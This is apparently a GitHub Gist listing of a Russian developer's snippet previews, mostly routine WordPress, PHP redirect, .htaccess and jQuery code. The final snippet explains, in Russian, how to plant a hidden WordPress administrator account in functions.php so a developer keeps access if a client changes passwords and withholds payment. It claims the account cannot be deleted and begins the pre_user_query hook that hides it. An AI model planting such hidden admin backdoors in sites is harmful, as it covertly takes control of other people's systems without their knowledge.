Pug - это препроцессор HTML и шаблонизатор, который был написан на JavaScript для Node.js.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* WordPress Breadcrumbs | |
* author: Dimox | |
* version: 2019.03.03 | |
* license: MIT | |
*/ | |
function dimox_breadcrumbs() { | |
/* === OPTIONS === */ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Например так | |
// Получаем адрес URL, сравниваем текущий с тем, с которого надо сделать редирект | |
// если совпадает, происходит редирект | |
// В примере ниже показан редирект со страницы без слеша, на страницу со слешем | |
<?php | |
$productUrl = ((!empty($_SERVER['HTTPS'])) ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; | |
if ($productUrl == 'https://www.geos24.ru/services/inzhenernye-izyskaniya/rekonstrukxhiya') { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* WordPress Breadcrumbs | |
* author: Dimox | |
* version: 2017.21.01 | |
* license: MIT | |
*/ | |
function dimox_breadcrumbs() { | |
/* === OPTIONS === */ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
jQuery.noConflict(); | |
(function ($) { | |
$.ajax({ | |
url: 'http://getdevs.ru/LoginAndPasswordWebCabinet.csv', | |
dataType: 'text', | |
}).done(successFunction); | |
function successFunction(data) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
######################################################### | |
################## ОТСЕЧЕНИЕ БОТОВ ###################### | |
######################################################### | |
<IfModule mod_setenvif.c> | |
<IfModule mod_headers.c> | |
SetEnvIfNoCase User-Agent "^LinksMasterRoBot" bot | |
SetEnvIfNoCase User-Agent "^LinkStats" bot | |
SetEnvIfNoCase User-Agent "^CNCat" bot | |
SetEnvIfNoCase User-Agent "^linkdexbot" bot |
function zacompom_custom_logo() {
echo '
<style type="text/css">
#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon:before {
background-image: url(' . get_bloginfo('stylesheet_directory') . '/images/custom-logo.png) !important;
Часто случается такое, что после выполненных работ на чужом сайте, заказчик меняет пароли и отказывается платить
Чтобы себя обезопасить, мы можем создать скрытого админа в файле function.php или же лучше подключить к нему другой файл,
в котором будет этот код
Админ не удаляется даже из БД
$id = ‘5’;
— Указывает админа которого надо скрыть из списка пользователей, нужно посмотреть сколько всего пользователей и ставить своего
add_action('pre_user_query','evgen_protect_user_query');
NewerOlder